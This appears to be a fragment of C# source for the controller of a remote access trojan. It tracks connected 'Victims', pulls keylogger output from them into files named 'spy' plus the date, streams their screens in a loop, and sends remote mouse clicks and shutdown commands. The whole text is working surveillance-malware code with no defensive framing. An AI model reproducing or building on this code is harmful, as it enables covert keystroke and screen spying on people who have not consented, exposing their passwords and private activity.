private void StartS_Click(object sender, EventArgs e) { Node <Client> c = NodeFind(FindRadio()); DateTime date = DateTime.Today; int day = date.Day; int m = date.Month; int year = date.Year; string DATE = day.ToString() + "." + m.ToString() + "." + year.ToString(); c.GetInfo().sendData("key"); string godel = c.GetInfo().GetData(); c.GetInfo().GetPic(@"C:\key\spy" + DATE + ".txt", godel); s = Directory.GetFiles(@"C:\key"); int l = s.Length; for (int i = 0; i < l; i++) { string str = File.ReadAllText(s[i]); string str2 = s[i].Clone().ToString(); str2 = str2.Substring(10); press.Text += " " + str2 + ":" + str; press.Refresh(); } }
private void Cancel_Click(object sender, EventArgs e) { int clientNumber = FindRadio(); Node <Client> n = NodeFind(clientNumber); n.GetInfo().sendData("CancelShutdown"); }
private int FindRadio() { int z = 1; Node <RadioButton> FirstRB = RadioB.GetFirst(); while (!FirstRB.GetInfo().Checked) { z += 1; FirstRB = FirstRB.GetNext(); if (FirstRB.GetInfo() == null) { return(-1); } } return(z); }
private void Watch_Click(object sender, EventArgs e) { Full.Show(); Node <Client> c = NodeFind(FindRadio()); c.GetInfo().sendData("screen"); string[] screen = c.GetInfo().GetData().Split('#'); Screen.SetBounds(0, 0, int.Parse(screen[0]) / 2, int.Parse(screen[1]) / 2); this.Width = (int.Parse(screen[0]) / 2) + 50; this.Height = (int.Parse(screen[1]) / 2) + 125; this.Tabs.Width = (int.Parse(screen[0]) / 2) + 50; this.Tabs.Height = (int.Parse(screen[1]) / 2) + 125; Watch.SetBounds(15, Screen.Height + 50, 49, 26); Stop.SetBounds(188, Screen.Height + 50, 46, 26); Full.SetBounds(276, Screen.Height + 50, 75, 23); //watch = true; Thread WS = new Thread(new ThreadStart(ScreenWatch)); WS.Start(); }
public void Work() { int location = 0; Node <Client> FirstVictim = Victims.GetFirst(); Node <RadioButton> FirstRB = RadioB.GetFirst(); while (FirstVictim != null) { FirstVictim.GetInfo().sendData("GetName"); FirstRB = RadioB.Insert(FirstRB, new RadioButton()); FirstRB.GetInfo().SetBounds(180, 60 + (12 * location), 12, 12); ConnctionItem[location] = new ListViewItem((location + 1).ToString(), 0); string[] ConnactionArr = FirstVictim.GetInfo().GetData().Split('#'); ConnctionItem[location].SubItems.Add(ConnactionArr[0]); ConnctionItem[location].SubItems.Add(ConnactionArr[1]); //ConnctionItem[location].SubItems.Add(ConnactionArr[2]); Connections.Items.Add(ConnctionItem[location]); CreateRB(FirstRB.GetInfo()); FirstVictim = FirstVictim.GetNext(); location++; } }
private void ScreenWatch() { Node <Client> c = NodeFind(FindRadio()); while (true) { if (big == false) { c.GetInfo().sendData("pic"); } else { c.GetInfo().sendData("PB#" + SystemInformation.PrimaryMonitorSize.Height.ToString() + "#" + SystemInformation.PrimaryMonitorSize.Width.ToString() + "#"); } string godel = c.GetInfo().GetData(); c.GetInfo().GetPic(@"C:\temp\tempscreen0.Jpeg", godel); Screen.ImageLocation = (@"C:\temp\tempscreen0.Jpeg"); if (big == true) { Thread.Sleep(1); } } }
public static void Sclick(int x, int y, int num) { ConnctedC.GetInfo().sendData("me#" + x.ToString() + "#" + y.ToString() + "#" + num + "#"); }